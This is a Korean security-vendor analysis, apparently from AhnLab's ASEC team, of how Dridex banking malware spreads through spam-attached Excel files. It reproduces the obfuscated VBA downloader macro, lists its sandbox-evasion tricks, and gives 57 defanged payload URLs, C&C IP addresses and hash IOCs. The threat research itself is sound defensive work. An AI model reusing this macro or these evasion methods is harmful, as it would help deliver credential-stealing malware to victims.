탐지 우회 방법으로 무장한 Dridex 악성코드 유포방식 분석

Dridex (또는 Cridex, Bugat)는 대표적인 금융 정보 유출형 악성코드이다. 사이버범죄 조직에 의해 글로벌로 대규모로 유포되고 있으며, 주로 스팸메일에 포함된 Microsoft Office Word나 Excel 문서 파일의 매크로를 이용한다. Dridex 악성코드의 가장 큰 특징으로는 다운로더, 로더, 봇넷 등 기능에 따라 파일을 모듈화하여 동작한다는 점이다. 이로 인해 Dridex 악성코드를 이용하여 DoppelPaymer 나 BitPaymer와 같은 랜섬웨어가 유포된 이력도 확인되었다. Dridex 악성코드를 제작 및 유포하는 공격 그룹과 랜섬웨어를 유포하는 공격 그룹이 코드나 유포 방식을 보아 상당 부분 겹친다는 정황도 확인되었다.[1][2][3]

ASEC 분석팀은 스팸메일과 Microsoft Offce Excel 문서 파일에서 어떻게 Dridex 악성코드가 다운로드 되는지 분석하였다. 공격자는 AV 제품에서 탐지되지 않기 위해 매우 빠르게 변종에 대응하고 있었고, 각종 자동 탐지 우회 방법을 이용하였다.

스팸메일

수집된 이메일은 영문으로 작성되어 있었으며, 해외 수신자를 대상으로 한 것으로 보인다. 제목과 내용은 ‘Freight Statement Of Outstanding As Of 03_29_2021’, ‘Ocean Freight overdue invoice Of 03_29_2021’ 등 한국어로 번역하면 ‘명세서’, ‘견적서’, ‘송장’ ‘체불안내서’ 등이다. 국내에 유포되는 스팸메일 제목과 유사하다. 메일에는 엑셀 파일이 첨부되어 있다.

엑셀 파일

엑셀 문서 내에는 흐릿한 이미지가 삽입되어 있어서 사용자의 클릭을 유도한다. 삽입된 이미지는 VBA 매크로 코드와 연결되어 있어서 클릭시 매크로 코드 함수 ‘VIEW_DOCUMNET’ 가 실행된다. 자동으로 실행되는 Auto_Open 등의 매크로가 아니라 특정 영역의 클릭 행위가 있어야 매크로 코드가 실행되기 때문에, 자동 분석 샌드박스에서는 정상적으로 실행되기 어렵다.

또한 엑셀 문서에는 숨김 시트가 존재한다. 두 개의 숨김시트는 XLM 매크로 시트이다. 공격자는 VBA 와 XLM 매크로 코드를 둘 다 이용하였다. VBA 코드에서 XLM 매크로 코드를 참조하여 동작하는 방식이다. 이는 VBA 코드나 XLM 매크로시트 코드만을 보고 기능을 파악하기 어렵게 하고, 특정 영역 코드를 기반으로 하는 탐지를 어렵게 한다.

공격자는 VBA Project에 암호를 걸어 VBA 코드 확인을 불가능하게 하였다. oletools와 같은 툴을 이용하면 VBA 코드를 추출할 수는 있지만, 아래와 같이 난독화 되어 있는 코드만 보아서는 그 기능을 파악하기가 어렵다. 공격자는 Evilclippy 등 VBA Project Locker 를 이용하였을 가능성이 높다.

#If VBA7 And Win64 Then
    Private Declare PtrSafe Function line_shipping Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
#Else
    Private Declare Function line_shipping Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If

Function re_re_order()
n = Cells(2, 1): nn = Sheets(2).Cells(2, 1)
For u = 1 To Len(n)
de = de & Chr(Asc(Mid(n, u, 1)) + Mid(nn, u, 1))
Next
re_re_order = de
End Function
Function next_shipment(cc As Variant) As Variant
next_shipment = Split(cc, "" & "--")
End Function
Function merridians_us()
merridians_us = "T1:T3"
End Function
Sub VIEW_DOCUMENT()
Sheets(1).Cells(3, 1).Name = "Line" & "_and"
doc_an = Split(re_re_order, "HH" & "HH")
P_prints = next_shipment(doc_an(1))
For oo = 0 To UBound(P_prints) - LBound(P_prints) + 1
On Error Resume Next
op_price (P_prints(oo))
Run ("Line" & "_and")
If oo = 12 Then last_cargo = insure_d:
If oo = 14 Then
rest_bags = insure_d
line_shipping 0, sgs_assure(for_clients_d(Split(doc_an(0), "D" & ","))), last_cargo & "\" & rest_bags, 0, 0
End If
Next
End Sub
Function op_price(jj As String)
Sheets(vbNull).Cells(3, 1).value = "=" & jj
End Function
Function for_clients_d(Mk As Variant) As String
Randomize: tg = xlArrangeStyleTiled
f = UBound(Mk) + tg
for_clients_d = Mk(Int((f) * Rnd))
End Function

Function insure_d()
insure_d = Sheets(vbNull).Cells(2, 20)
End Function

Public Function sgs_assure(fg As String)
sgs_assure = "ht" & "t" & "p" & "s://" & fg
End Function

VBA 매크로 코드를 디버깅해서 보면, XLM 매크로시트의 셀을 참조하여 데이터로 이용하고 있다. 데이터는 엑셀 문서 파일의 최종 기능인 외부 URL 접속을 위한 코드 생성 과정에 이용된다. 총 57개의 URL이 생성되며, 이 과정에서도 여러번의 난독화 해제 과정이 필요하다. 아래는 엑셀 파일이 접속하는 URL 목록이다. (접속 및 다운로드 금지)

URL 리스트 생성 후 랜덤한 주소에 접속하여 다운로드를 시도한다. 일부 주소가 차단되더라도 접속 가능한 주소가 여럿이기 때문에 공격 성공률을 높일 수 있다. 다운받는 파일은 DLL 실행 파일(Portable Executable)이지만 .dll 파일 확장자를 사용하지 않고 .rar, .tar, .zip 등 압축파일 확장자를 이용했다. 이 또한 실행 파일을 다운로드 받는 의심 행위에서 차단되지 않기 위한 것으로 보인다. 다운로드 받은 파일은 고정적인 DLL 파일명으로 저장된다. 이 DLL 파일이 Dridex 로더 악성코드이다.

hxxps://tencoconsulting.com/klcpk3.rar
hxxps://abad.tv/gmrgbkv.rar
hxxps://nedkellymyanmar.com/l76db8k.rar
hxxps://myloanexpert.in/exxuia66v.tar
hxxps://aps-scribe.com/ptdgv53.rar
hxxps://sivmedia.dk/z18n7do.rar
hxxps://14karatvisions.com/rh1trnt.rar
hxxps://plataformas.datasiswebcontable.com/ek2lqm2.zip
hxxps://reseller.itechbrasil.com/xwpr9m9.tar
hxxps://estudiodedanzaesperanzadelosreyes.com/pi4omy.rar
hxxps://sadmahfuneralservices.co.za/jke1xnf7b.rar
hxxps://engagedmarketingmedia.com/mt42qiyn.rar
hxxps://disinfection-cleaning.co.za/sc25xty.zip
hxxps://cacaoprojects.com/asse9e3x.rar
hxxps://blog.difusodesign.com/vzsfnw3rk.rar
hxxps://v2consultores.com/gaiqb3.zip
hxxps://sabihasart.com/ltxd9207y.zip
hxxps://cpanel.shivay.net/ak5kpl1.zip
hxxps://kaptaanchapal.com/hrloamk3.zip
hxxps://www.estatebroker.in/cc5qg9x.tar
hxxps://thediasporianexperience.com/vh3r0pn.tar
hxxps://bioskey.com/w9jii4e1h.rar
hxxps://mediawaysnews.com/idn75myb.rar
hxxps://community.reimclub.com/ezmumkw.rar
hxxps://nxtnet.ga/oszxyd.tar
hxxps://aps-sv.com/lse6o3.rar
hxxps://masterthedaybook.com/hp8v4p3.rar
hxxps://goldenasiacapital.com/pqyxgi.rar
hxxps://ist-security.com/nz3wx4.rar
hxxps://addictionmusic.in/lloaynxsp.tar
hxxps://hchfug.org/oikz5qpn.tar
hxxps://gifsnow.fun/jta343i.rar
hxxps://preescolarmamagansa.edu.mx/uo0j4ls.rar
hxxps://patriotsupremehemp.com/j1jgt4g.rar
hxxps://dev.tunepushr.com/s6c1tl.zip
hxxps://canadianwork.cc/ugeepbmvc.zip
hxxps://cuetzalanlaesencia.com/ehvmx3.tar
hxxps://kienology.com/cepzd8r.zip
hxxps://elbauldenora.com/yknyy9.tar
hxxps://sexologistpakistan.net/e2xlnbik.rar
hxxps://cardilicores.com/ak9zjb.zip
hxxps://www.bizztradingbot.nl/w1em533ne.tar
hxxps://connectcapital.com.br/sum9e8.zip
hxxps://www.pkbacademy.ro/hlinx9.tar
hxxps://movix.net.br/stwv7a9u.rar
hxxps://business2.softberg.ro/knyiq6pg.tar
hxxps://rajeshtailang.com/qksnefw1t.tar
hxxps://anadelgbt.org/n5gi2o1l9.tar
hxxps://www.neslininsayfasi.site/clbqztx8.tar
hxxps://erp.nanotechproautocare.com/umxzvfog.rar
hxxps://www.mitsuiaccounting.com/nsyii02fi.rar
hxxps://drpayalphysiotherapy.in/iuqc13o2.zip
hxxps://spiritualroot.org/yqcsymrnj.rar
hxxps://robthetoolman.com.au/tni7p1y.zip
hxxps://hospedagem.pro/nnkwzi2he.zip
hxxps://rajib.pw/twd3dkz41.tar
hxxps://citihits.lk/iccdupr.rar

다운로드에 성공했다면 위와 같은 난독화 된 CALL 함수를 실행한다. 이는 Regsvr32.exe 프로세스를 이용하여 다운로드 받은 Dridex DLL 파일을 실행하라는 커맨드이다. 이 과정까지 실행되었다면 Dridex 악성코드가 Regsvr32.exe 프로세스에 로드되어 시스템에서 동작하게 된다.

Dridex DLL

Dridex DLL 파일은 매우 복잡한 코드 생성과 언패킹 과정을 거쳐서 동작한다. 메모리 할당과 해제, 코드 인젝션, 실행권한 부여를 반복하여 메모리에 핵심 로더 파일 PE를 새로 구성한다. 핵심 로더 파일 자체는 코드가 크게 변하고 있지 않다. 다음 C&C 서버에 접속하는 기능이 핵심이다. 이 과정에서 시스템 정보 등 사용자 정보가 전송된다.

hxxs://210.65.244.176/
hxxps://37.34.58.210:6601/
hxxps://210.65.244.176/

Dridex 악성코드의 유포과정을 스팸메일에서 Dridex DLL 로더까지 살펴보았다. 자동화된 샌드박스 환경에서는 스팸메일에서 DLL 파일 실행까지 연결되기가 어렵다. 엑셀 파일과 DLL 파일은 그 외형 변화가 빠르기 때문에 시그니처로 대응하는데 한계가 있다. 안랩 제품에서는 스팸메일 유포부터 Dridex DLL 파일까지 다음과 같이 탐지하고 있다.

[파일 진단]
Downloader/VBA.Generic
Downloader/MSExcel.Generic
Trojan/Win32.Dridex.R353686
Trojan/Win.Agent.C4398254

[행위 진단]
Malware/MDP.Behavior.M3664

[IOC]
0801368e0e80ba88daad52d7e5977d22
3479d48fef3fa742d91e84705ff4f882
6bd0ae7a5d92e2d47c1cb6cbdc7d47c6

5 3 votes
별점 주기
guest
0 댓글
Inline Feedbacks
View all comments